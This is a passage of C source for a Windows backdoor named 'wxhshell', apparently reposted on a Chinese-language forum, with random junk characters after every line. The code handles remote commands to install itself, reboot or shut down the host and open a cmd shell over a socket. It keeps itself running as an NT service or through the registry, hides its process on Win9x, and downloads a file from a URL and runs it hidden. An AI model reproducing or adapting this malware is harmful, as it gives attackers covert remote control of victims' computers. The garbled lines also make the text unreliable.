  8&1xb@Nc7  
  // 帮助 9zLeyw\  
  case '?': { gEgd/Le  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \SJX;7 ST  
    break; K'K/}q<  
  } 2c*}1 _  
  // 安装 szOa yAS  
  case 'i': { 9'vf2) "  
    if(Install()) '+GYw$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZlQ&m  
    else 9T2y2d!X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0yb9R/3.  
    break; ,s,AkH  
    } !<h-2YF<M  
  // 卸载 {s2eOL5I|%  
  case 'r': { Yic4|N?u  
    if(Uninstall()) sr<\fW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T7?z0DKi  
    else btDTC 9O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3)(uC+?[  
    break; qE6D"+1y7  
    } R@IwmJxX  
  // 显示 wxhshell 所在路径 k/Q8:qA  
  case 'p': { ny<D1>{90  
    char svExeFile[MAX_PATH]; Kj-zEl  
    strcpy(svExeFile,"\n\r"); 7e)j|a-!<  
      strcat(svExeFile,ExeFile); AFsYP/g]  
        send(wsh,svExeFile,strlen(svExeFile),0); _akpW  
    break; )<5hga][~a  
    } _|COnm  
  // 重启 g(o^'f  
  case 'b': { uPb.uG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v\=k[oOu  
    if(Boot(REBOOT)) <.lt?!.ZH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]-OF3+l4  
    else { >ATccv  
    closesocket(wsh); fV!~SX6S  
    ExitThread(0);  {C%f~j  
    } {@tO9pc`8  
    break; K[q-[q#yc  
    } #V@vz#bo=  
  // 关机 ~#=70  
  case 'd': { (w%9?y4Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T7(U6yN  
    if(Boot(SHUTDOWN)) #0Z%4WQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %^iBTfq2hc  
    else { 1f$1~5Z  
    closesocket(wsh); ?Elt;wL(  
    ExitThread(0); VE^IA\J x  
    } 80LN(0?x  
    break; t2FA|UF  
    } j__l'?s  
  // 获取shell uA\KbA.c;U  
  case 's': { M1K[6V!   
    CmdShell(wsh); #\6k_toZ  
    closesocket(wsh); e#ne5   
    ExitThread(0); ~W_ T3@  
    break; 8~iggwZ~h"  
  } ~AcjB(  
  // 退出 lt{"N'Gw6  
  case 'x': { p '=XW#2 >  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $A)[s$  
    CloseIt(wsh); 2'}/aL|G  
    break; ]q|U0(q9  
    } L#MMNc+  
  // 离开 ^B(:Hv}G(:  
  case 'q': { zoau5t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =qww|B92  
    closesocket(wsh); -g4 {:!*D  
    WSACleanup(); W'5c%SI  
    exit(1); A3Vj3em  
    break; (l)r.Vj  
        } -D wO*f  
  } Ne}x(uRn  
  } .s3y^1C  
|p*s:*TJp  
  // 提示信息 9@YhAj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b5l;bXp]  
} eMUt%zvb  
  } E&\ 0+-Dw  
b25C[C5C  
  return; (q=),3/<pU  
} IGI$,C  
@5cY5e*i{  
// shell模块句柄 ^x}k1F3  
int CmdShell(SOCKET sock) [f`7+RHrd  
{ Tuy5h 5  
STARTUPINFO si; :Gf  
ZeroMemory(&si,sizeof(si)); ~L9I@(/ S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 32K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pUeok+k_  
PROCESS_INFORMATION ProcessInfo; w!52DBOe+  
char cmdline[]="cmd"; 1-8 G2e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J QA]O/|N  
  return 0; i0&W}Bb'  
} rpv<'$6  
_{?-=<V'_  
// 自身启动模式  1"RC!  
int StartFromService(void) 8]l(D  
{ "?s  
typedef struct T!t9`I0Zz  
{ vm8ER,IW)  
  DWORD ExitStatus; X=%e'P*X  
  DWORD PebBaseAddress; IkgRZ{Y  
  DWORD AffinityMask; A%.ZesjAx  
  DWORD BasePriority; :[ll$5E.  
  ULONG UniqueProcessId; M[7$F&&n  
  ULONG InheritedFromUniqueProcessId; *Jg&:(#}<J  
}   PROCESS_BASIC_INFORMATION; W]M Fq5.  
J(Zz^$8]<?  
PROCNTQSIP NtQueryInformationProcess; 6sNw#pqh  
sQLjb8!7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Gw+pjSJL`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; # 2?3B  
F<Ig(Wl#az  
  HANDLE             hProcess; +RyV"&v  
  PROCESS_BASIC_INFORMATION pbi; !PJp()  
8T3Nz8Q7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'oF('uR  
  if(NULL == hInst ) return 0; WUGFo$ xA  
Lm'+z97  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -BEd7@?A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %(:{TR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @81N{tg-  
pSodT G$E  
  if (!NtQueryInformationProcess) return 0; Ceew~n{  
tiF-lq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?$ M:4mX  
  if(!hProcess) return 0; DJ|lel/'  
6T%5<I*&3s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a( SJ5t?-2  
#E#Fk3-ljQ  
  CloseHandle(hProcess); ^n*:zmD  
05o<fa2HE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VI?kbq jo  
if(hProcess==NULL) return 0; Fmzkbt~oe  
DC2[g9S>8@  
HMODULE hMod; [I}xR(a@n  
char procName[255]; ZNJ<@K-  
unsigned long cbNeeded; )Kq@ m1>@  
0N_u6*@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DSK?7F$_oE  
=A(Az  
  CloseHandle(hProcess); 2W }j bOy  
R]4 h)"  
if(strstr(procName,"services")) return 1; // 以服务启动 >~L0M  
D&G^|: G  
  return 0; // 注册表启动 8LUl@!4b  
} +g_m|LF  
>tm4Rg~y  
// 主模块 Av!xI  
int StartWxhshell(LPSTR lpCmdLine) m+xub*/  
{ HF*j=qt!  
  SOCKET wsl; \4>& zb4  
BOOL val=TRUE; 6xx(o  
  int port=0; b"w@am>&  
  struct sockaddr_in door; mQ2=t%  
 '3xK1Am  
  if(wscfg.ws_autoins) Install(); k\IdKiOj!D  
9(lcQuE9  
port=atoi(lpCmdLine); "G@(Cb*+T  
? 0+N  
if(port<=0) port=wscfg.ws_port; b(t8TR#-  
~Gl5O`w(  
  WSADATA data; ~U5Tn3'~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z=Xh  
ijKQ`}JA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o $'K}U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9U Hh#  
  door.sin_family = AF_INET; _}.WRFIJ@L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K$O2 Fq@y  
  door.sin_port = htons(port); ,s/laZ)V  
M5 ^qc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m$7C{Mr'  
closesocket(wsl); 8Yo;oHk7  
return 1; {u4AOM=)  
} =]1cVnPI  
^DVryeLD  
  if(listen(wsl,2) == INVALID_SOCKET) { rp|A88Q/!  
closesocket(wsl); zR )/h   
return 1; h.kjJF  
} I= a?z<  
  Wxhshell(wsl); s"p\-Z  
  WSACleanup(); c )=a;_h  
$:&b5=i  
return 0; .yD5>iBh  
#/H Z[Vw  
} Dw$RHogb~y  
)TEod!]  
// 以NT服务方式启动 "Y@q?ey[1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N%%trlDXD  
{ Ctx>#uN6  
DWORD   status = 0; 8fktk?|  
  DWORD   specificError = 0xfffffff; @!^Y_q  
[z!pm-Ir  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =`UFg >-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *$Zy|&[Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &.qLE  
  serviceStatus.dwWin32ExitCode     = 0; iJ @p:  
  serviceStatus.dwServiceSpecificExitCode = 0; .[Qi4jm>`  
  serviceStatus.dwCheckPoint       = 0; Wr-I~>D%_  
  serviceStatus.dwWaitHint       = 0; fYpJ2y-sA  
6cD3(//  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xzOn[.Fi  
  if (hServiceStatusHandle==0) return; =woP~+  
p,!IPWo  
status = GetLastError(); hBV m; `  
  if (status!=NO_ERROR) *\cU}qjk  
{ yYSoJqj Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GVfRy@7n  
    serviceStatus.dwCheckPoint       = 0; \U##b~Z,g  
    serviceStatus.dwWaitHint       = 0; v=Q!ioE7  
    serviceStatus.dwWin32ExitCode     = status; v*c"SI=@M=  
    serviceStatus.dwServiceSpecificExitCode = specificError;  J%T=FU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h<8c{RuoZC  
    return; IZ87Px>zL  
  } <N>7.G  
Mpco8b-b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S!b?pl  
  serviceStatus.dwCheckPoint       = 0; &N]e pV>  
  serviceStatus.dwWaitHint       = 0; ei"c|/pO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EBiLe;=X  
} %oWG"u  
t=|}?lN<  
// 处理NT服务事件,比如:启动、停止 1$`|$V1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?GqH/ (O  
{ }EP}D?Mmu  
switch(fdwControl) qq3/K9 #y  
{ 6q!Q(_  
case SERVICE_CONTROL_STOP: ~*]7f%L-  
  serviceStatus.dwWin32ExitCode = 0; Dy 8H(_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pp(?rE$S  
  serviceStatus.dwCheckPoint   = 0; 4mtO"'|  
  serviceStatus.dwWaitHint     = 0; g3^:)$m  
  { {47Uu%XT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J<4_<.o(a  
  } jeJspch+#  
  return;  WFhppi   
case SERVICE_CONTROL_PAUSE: XsDZ<j%x89  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]6s/y  
  break; j>l  
case SERVICE_CONTROL_CONTINUE: {d]B+'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DY{v@ <3  
  break; og~a*my3  
case SERVICE_CONTROL_INTERROGATE: hl] y):  
  break; (I(U23A~  
}; Nl/ fvJ`4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;b. m X  
} }Kp$/CYd  
z`I%3U5(  
// 标准应用程序主函数 2X*n93AQi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p$= 3$I  
{ 5e1oxSU  
}_}    
// 获取操作系统版本 ~66v.`K!  
OsIsNt=GetOsVer(); GoH.0eQ^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZNpC& "`G  
aY;34SF  
  // 从命令行安装 fe"w--v  
  if(strpbrk(lpCmdLine,"iI")) Install(); Uovna:"  
gg8)oc+w  
  // 下载执行文件 @g]+$Yj  
if(wscfg.ws_downexe) { ~l. C -  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mG@[~w+  
  WinExec(wscfg.ws_filenam,SW_HIDE); Evqy e;  
} u,}>I%21  
.sOZ"=tW  
if(!OsIsNt) { u$aN~6HG  
// 如果时win9x,隐藏进程并且设置为注册表启动 g>eWX*Pa|  
HideProc(); k6GQH@y!  
StartWxhshell(lpCmdLine); < <Y]P+uU  
} }H saJ=1U  
else (~! @Uz5  
  if(StartFromService()) d{) =E8wE  
  // 以服务方式启动 + 65<|0  
  StartServiceCtrlDispatcher(DispatchTable); yB=R7E7  
else gp~-n7'~O  
  // 普通方式启动 ZtP/|P5@  
  StartWxhshell(lpCmdLine); !{ _:k%B  
gkq~0/  
return 0; LWSy"Cs*  
}
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只看该作者 1 发表于: 2006-10-10
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